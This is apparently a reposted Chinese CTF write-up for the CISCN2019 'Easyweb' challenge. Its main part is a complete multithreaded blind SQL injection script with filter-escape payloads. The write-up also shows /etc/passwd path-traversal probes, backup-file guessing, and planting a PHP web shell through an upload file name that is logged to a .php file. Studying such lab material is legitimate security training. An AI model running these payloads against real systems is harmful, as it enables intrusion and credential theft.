[CISCN2019 總決賽 Day2 Web1]Easyweb

登錄界面可以看到隨機切換的圖片。從頁面源碼中可以看到<div class="avtar"><img src="image.php?id=3" width="200" height="200"/></div>,圖片文件的請求地址,并且有傳參id。web應用中像這種動態獲取圖片的實現邏輯一般是根據id從文件系統中讀取圖片資源,那如果沒有對id進行嚴格過濾的話就可能造成文件泄露。

如果后端是$path = "images/" . $_GET['id'] . ".png"像這樣直接將id拼接到路徑中,或許可以利用目錄穿越。
嘗試…/…/…/…/…/…/…/…/etc/passwd發現沒有回顯,很有可能后端對id進行了類型限制,試試看1…/…/…/…/…/…/…/…/etc/passwd,發現返回的是圖片數據,那說明被當作了數字1,說明后端應該不是拼接路徑,很可能是根據id查詢數據庫或者文件系統,并且將id用引號包裹起來了。

需要獲得源碼才行,掃掃有沒有備份文件。利用dirsearch看到有robots.txt,訪問給了個文件/static/secretkey.txt,但是里面沒什么東西,只有一句話“you never guess”,跟題解有所不同。雖然看了答案知道有.php.back備份文件,但是比賽的時候肯定得靠自己去猜。利用字典進行備份文件掃描的時候有index.php.bak,但是這道題只有image.php.bak,像這種并不花哨而且找不到任何線索的題,大概率就是源碼泄露,下次可以大膽猜測。

常見文件名 / 格式說明示例路徑
文件名~(如index.php~)Linux 下 Vim/Sublime 生成的備份文件(末尾加~)http://target.com/index.php~
.#文件名(如.#config.php)Vim 編輯時生成的臨時交換文件(開頭.#)http://target.com/.#config.php
文件名.bak/文件名.back(如config.php.bak)手動添加的備份后綴(開發常用)http://target.com/config.php.bak
文件名.txt(如config.txt)為方便查看,將配置文件改為 TXT 格式備份http://target.com/config.txt
<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

直接將參數拼入sql語句,這是很危險的。不過他正確使用了addslashes函數進行特殊字符轉義。但是,又用了str_replace將某些字符替換為空,這和上次那道連續使用兩個轉移函數造成特殊字符逃逸差不多,這邊也可以構造逃逸。

addslashes函數默認轉義的字符:?
單引號('):轉義后為 '?
雙引號("):轉義后為 "?
反斜杠(\):轉義后為 \?
NUL 字符(ASCII 碼 0 的空字符,通常用 \0 表示):轉義后為 \0

另外一個注意的地方是這邊替換掉的是\0 %00 \\ ',因為在str_replace函數中這些字符是用雙引號包裹的,會轉義一次。
我們可以在id中構造\0,經過addslashes函數轉義變成\\0,然后替換函數會將\0替換為空,就留下了一個反斜杠。拼入sql語句就是:
select * from images where id=' \' or path='{$path}'此時單引號被轉義,id的值變成了' \' or path=',$path中的東西就成功逃逸出來了。但是此時最后還有一個單引號怎么辦呢?考慮閉合或者用注釋符。

怎么構造payload得到敏感文件呢?讀取的文件是查詢結果中的path字段,但是我們并不知道數據庫中有什么。
嘗試:
id=\0&path=or id=‘1’#
id=\0&path=or id='1
發現都不行,說明這樣處理單引號不行,哦對因為單引號被替換為空了
id=\0&path=or 1=1#
這樣也不行,難道是#沒有生效?原來是直接在地址欄輸入#不會被url編碼,而是被當作注釋符了。
id=\0&path=or 1=1%23 成功了。先看看images表中有沒有信息。
id=\0&path=or 1=1 limit 1,1%23 只有三張圖片。看來需要利用盲注找其他表。
注入位置是id=\0&path=or 1={xxx}%23
套用腳本:

import random
import time
import requests
from concurrent.futures import ThreadPoolExecutor
# -----------注意訪問的文件
url = 'http://2182da8a-d0d4-461b-ab4a-05f5d542b169.node5.buuoj.cn:81/image.php'
# -----------標志性回顯
# symbol = 'Nu1L'
# -----------爆破位置payload
# select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())'
# select = 'select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))'
select = 'select group_concat(username)from users'
# -----------爆破長度payload
# select_len = 'select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database())'
# select_len = 'select(length(group_concat(column_name)))from(information_schema.columns)where((table_name)=(0x7573657273))'
select_len = 'select length(group_concat(username))from users'
length = 0
result = [''] * 1000  # 使用列表存儲結果,避免線程安全問題def make_request(url, param):try:r = requests.get(url, params=param, timeout=30)# r = requests.post(url, data=param, timeout=30)r.raise_for_status()  # 檢查HTTP狀態碼return rexcept requests.exceptions.Timeout:print("[-] 請求超時,請檢查網絡連接或增加超時時間")except requests.exceptions.HTTPError as e:print(f"[-] HTTP錯誤: {e.response.status_code}")except requests.exceptions.RequestException as e:print(f"[-] 請求異常: {str(e)}")return Nonedef make_request_with_retry(url, param):global resultr = make_request(url, param)if not r:print("[-] 重試")time.sleep(random.randint(0, 10))r = make_request(url, param)if not r:return Nonereturn rdef get_length_with_BinarySearch():global lengthlow, high = 0, 500while low <= high:mid = (low + high) // 2param = {'id': '\\0',  # 用雙反斜杠表示字面意義的\0'path': f"or 1=(({select_len})>={mid})#"}# print(param)r = make_request_with_retry(url, param)if not r:print(f"[-]長度爆破失敗")# print(r.content)# if symbol in r.text:if len(r.content) > 0:# 大于等于midparam = {"id": '\\0',"path": f"or 1=(({select_len})={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-]長度爆破失敗")# if symbol in r.text:if len(r.content) > 0:print(f"長度為{mid}")length = midbreakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1def get_char_at_position(i):global resultprint(f"[*] 開始注入位置{i}...")low, high = 31, 127while low <= high:mid = (low + high) // 2param = {'id': '\\0',  # 用雙反斜杠表示字面意義的\0'path': f"or 1=(ord(substr(({select}),{i},1))>={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'break# if symbol in r.text:if len(r.content) > 0:# 大于等于midparam = {'id': '\\0',  # 用雙反斜杠表示字面意義的\0'path': f"or 1=(ord(substr(({select}),{i},1))={mid})#"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'break# if symbol in r.text:if len(r.content) > 0:# 等于midresult[i - 1] = chr(mid)print(f"[*] 位置{i}字符為{chr(mid)}")breakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1# # -----------------失敗位置重試,如果有個別地方沒有爆破成功可以在這里進行單獨爆破
# position = {12, 15}
# for i in position:
#     get_char_at_position(i)# ------------------爆破長度
get_length_with_BinarySearch()if length == 0:print("[-] length為0,請檢查錯誤")exit(0)# # ------------------單線程爆破
# for i in range(1, length+1):
#     get_char_at_position(i)# ------------------多線程爆破
with ThreadPoolExecutor(max_workers=10) as executor:futures = [executor.submit(get_char_at_position, i) for i in range(1, length + 1)]# 等待所有任務完成for future in futures:future.result()# 過濾空字符并拼接結果
final_result = ''.join(filter(None, result))
print("最終結果:", final_result)# 出錯的位置
positions = []
for index, char in enumerate(final_result):if char == '?':positions.append(index+1)
print("出錯位置:", positions)

有三個注意的點:

  1. 這里響應是圖片,所有不能再用r.text來作為判斷條件,可以通過響應長度不同來判斷。
  2. 由于單雙引號被禁用,所以在最后查字段的時候表名需要用十六進制編碼,因為在Mysql中十六進制編碼會自動解碼為字符串,可以繞過引號。
  3. 通過request來發起請求的時候,客戶端會自動對params進行url編碼,所以如果#仍然寫成%23就會導致二次編碼。

最后爆出來:admin b028759c31b4a29d54f6
登錄進去。發現是文件上傳,隨便上傳一個文件發現:
I logged the file name you uploaded to logs/upload.05571ffc0f0ba134f932c75082af160e.log.php. LOL
看一下該日志文件:User admin uploaded file shell.jpg.
那是不是能將木馬放到文件名中。試一下
在這里插入圖片描述
使用蟻劍成功連接。

總結一下:首先需要獲得image.php.bak源碼文件,然后利用sql漏洞布爾盲注獲得用戶密碼,登錄后發現能上傳文件至php文件,并且記錄文件名,于是直接將一句話木馬放到文件名中。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/96007.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/96007.shtml
英文地址,請注明出處:http://en.pswp.cn/web/96007.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

第 3 講:KAFKA生產者(Producer)詳解

這是一篇既照顧入門也能給高級工程師提供落地經驗的實戰筆記。0. TL;DR&#xff08;先上結論&#xff09; 想穩&#xff1a;acksall 合理 retries&#xff1b;需要“分區內不重不丟”→ 再加 enable.idempotencetrue 且 max.in.flight<5。想快&#xff1a;適度增大 batch.s…

微信小程序截屏與錄屏功能詳解

微信小程序提供了豐富的API支持截屏和錄屏功能&#xff0c;適用于多種場景&#xff0c;如教育類應用的課程錄制、游戲類應用的精彩瞬間分享、電商類應用的商品展示等。以下將詳細介紹實現方法和應用案例。 截屏功能實現 截屏功能通過調用wx.canvasToTempFilePath或wx.captureSc…

React 中的 HOC 和 Hooks

寫在前面 在函數式組件主導的 React 項目中&#xff0c;高階組件&#xff08;HOC&#xff09;并非首選推薦&#xff0c;更建議優先使用 Hooks來實現復用邏輯。核心原因是 HOC 存在固有的設計缺陷&#xff0c;而 Hooks 能更優雅、簡潔地解決相同問題&#xff0c;同時避免 HOC 的…

【 蒼穹外賣 | Day2】

1. 相關視頻 Day2的全部視頻集數 2. 學習記錄 2.1 對象屬性拷貝 當DTO與實體類或者VO對象之間的一個裝換的時候&#xff0c;如果通過new創建對象&#xff0c;然后調用set方法進行屬性賦值&#xff0c;不夠方便&#xff0c;代碼不夠簡潔。當屬性過多時候&#xff0c;代碼就會…

焊接自動化測試平臺圖像處理分析-模型訓練推理

1、使用技術棧&#xff1a;jdk17/springboot/python/opencv/yolov8 2、JAVA環境搭建 JDK17下載安裝&#xff1a;wget https://download.oracle.com/java/17/latest/jdk-17_linux-x64_bin.tar.gz 解壓軟件 tar -xf jdk-17.0.16_linux-x64_bin.tar.gz 配置全局變量 vim /etc/p…

【python實用小腳本-205】[HR揭秘]手工黨逐行查Bug的終結者|Python版代碼質量“CT機”加速器(建議收藏)

1. 場景故事 “作為HR&#xff0c;我曾用2小時逐行審閱50份Python簡歷項目&#xff0c;直到發現候選人的代碼復雜度超標導致線上事故…” → 轉折點&#xff1a;用麥凱布&#xff08;McCabe&#xff09;圈復雜度檢測腳本&#xff0c;30秒掃描全倉庫&#xff0c;現可100%攔截“高…

LeetCode - 1089. 復寫零

題目 1089. 復寫零 - 力扣&#xff08;LeetCode&#xff09; 思路 這道題我首先想到的是從前往后雙指針&#xff0c;但是這樣做會造成數據的覆蓋&#xff0c;比如說下面的這個情況 所以解決的方法就是從后往前去復寫&#xff0c;但是從后往前的話就要知道最后一個有效元素是…

c#中public類比博圖

簡單來說&#xff0c;**public 定義了“接口”或“引腳”**&#xff0c;就像你的FB塊上的 Input, Output, InOut 管腳一樣。它決定了外部的其他代碼&#xff08;如另一個FB或OB1&#xff09;可以看到和操作這個塊里的什么東西。讓我用你最熟悉的博圖概念來詳細類比一下。---###…

K8s基于節點軟親和的高 CPU Pod 擴容與優先調度方案

場景與目標 集群節點&#xff1a;master&#xff08;4 核&#xff09;、node1&#xff08;16 核&#xff09;、node2&#xff08;16 核&#xff09;。目標&#xff1a;將一個高 CPU 消耗的工作負載橫向擴展到 4 個實例&#xff0c;并通過**節點親和性&#xff08;軟親和&#…

MySQL InnoDB 的鎖機制

引言 鎖是數據庫管理并發訪問的另一種核心機制&#xff0c;與 MVCC 相輔相成。本文將系統梳理 MySQL InnoDB 中鎖的粒度、類型和工作原理&#xff0c;并深入探討它如何與事務隔離級別配合&#xff0c;共同保障數據的一致性和完整性。 一、 鎖的粒度&#xff1a;由粗到細 InnoD…

狀態模式(State Pattern)——網絡連接場景的 C++ 實戰

一、為什么要用狀態模式&#xff1f;在開發中&#xff0c;經常遇到“對象在不同狀態下行為不同”的情況。最常見的寫法是用一堆 if/else 或 switch 來判斷狀態&#xff0c;然后在不同分支里寫邏輯。這樣做有兩個問題&#xff1a;狀態增多后&#xff0c;條件分支會變得臃腫。修改…

使用csi-driver-nfs實現K8S動態供給

文章目錄一、部署NFS二、k8s環境部署csi-nfs三、測試動態供給補充應用服務器IPnfs-server192.168.1.5k8s-master01192.168.1.1k8s-node01192.168.1.2k8s-node02192.168.1.3 一、部署NFS 1、在NFS服務端和k8s所有節點部署nfs-utils 因為客戶端去掛載nfs服務端的共享目錄時&…

【開題答辯全過程】以 基于ssm的房屋中介管理系統為例,包含答辯的問題和答案

個人簡介一名14年經驗的資深畢設內行人&#xff0c;語言擅長Java、php、微信小程序、Python、Golang、安卓Android等開發項目包括大數據、深度學習、網站、小程序、安卓、算法。平常會做一些項目定制化開發、代碼講解、答辯教學、文檔編寫、也懂一些降重方面的技巧。感謝大家的…

MySQL主從復制之進階延時同步、GTID復制、半同步復制完整實驗流程

1.主從同步1.1主從同步原理是指將主庫的DDL和DML操作通過二進制日志(binlog)傳到從庫服務器&#xff0c;然后在從庫上對這些日志進行重新執行&#xff0c;從而使從庫和主庫數據保持一致1.2環境設置庫名ip地址操作系統mysql版本主庫msyql-master192.168.31.228rhel7.9源碼安裝my…

織信低代碼:用更聰明的方式,把想法變成現實!

你有沒有過這樣的時刻&#xff1f;想親手做一個應用&#xff0c;卻因為“不會編碼”而遲遲沒有開始&#xff1b;或曾無奈地目睹公司里一個看似簡單的需求&#xff0c;硬是耗費數月、投入大量人力反復開發……現在&#xff0c;有一類工具正在改變這一切。它叫低代碼。而今天我們…

【序列晉升】28 云原生時代的消息驅動架構 Spring Cloud Stream的未來可能性

目錄 一、Spring Cloud Stream是什么&#xff1f; 二、誕生背景與設計動機 2.1 微服務架構的挑戰 2.2 Spring生態的發展 2.3 Spring Integration的演進 三、架構設計與核心組件 3.1 分層架構設計 3.2 核心組件詳解 3.3 編程模型 四、解決的問題與優勢 4.1 解決的核心…

內網后滲透攻擊--linux系統(權限維持)

用途限制聲明&#xff0c;本文僅用于網絡安全技術研究、教育與知識分享。文中涉及的滲透測試方法與工具&#xff0c;嚴禁用于未經授權的網絡攻擊、數據竊取或任何違法活動。任何因不當使用本文內容導致的法律后果&#xff0c;作者及發布平臺不承擔任何責任。滲透測試涉及復雜技…

C++筆記之同步信號量、互斥信號量與PV操作再探(含軟考題目)

C++筆記之同步信號量、互斥信號量與PV操作再探(含軟考題目) code review! 參考筆記: 1.C++筆記之同步信號量、互斥信號量與PV操作再探(含軟考題目) 2.C++筆記之信號量、互斥量與PV操作 參考鏈接 1.嵌入式基礎知識-信號量,PV原語與前趨圖 2.信號量、PV操作及軟考高級試題解析…

布隆過濾器:快速判斷某個元素是否存在

特點&#xff1a;高效、空間占用小、允許一定誤判 布隆過濾器在 Redis 里的實現機制&#xff0c;核心就是&#xff1a;用一個大位圖&#xff08;bitmap&#xff09;來表示集合 位圖長度 m 初始值都是 0 插入元素時通過 k 個不同的哈希函數&#xff0c;對元素做哈希 每個哈希結…

C# 修改基類List中某一元素的子類類型

描述&#xff1a;基類&#xff1a;BaseClass子類1&#xff1a;A子類2&#xff1a;B然后我有一個List<BaseClass>類型的鏈表:list&#xff0c;我先往list中添加了兩個元素&#xff1a;第一個元素為A類型&#xff0c;第二個元素為B類型&#xff0c;然后我想改變第一個元素類…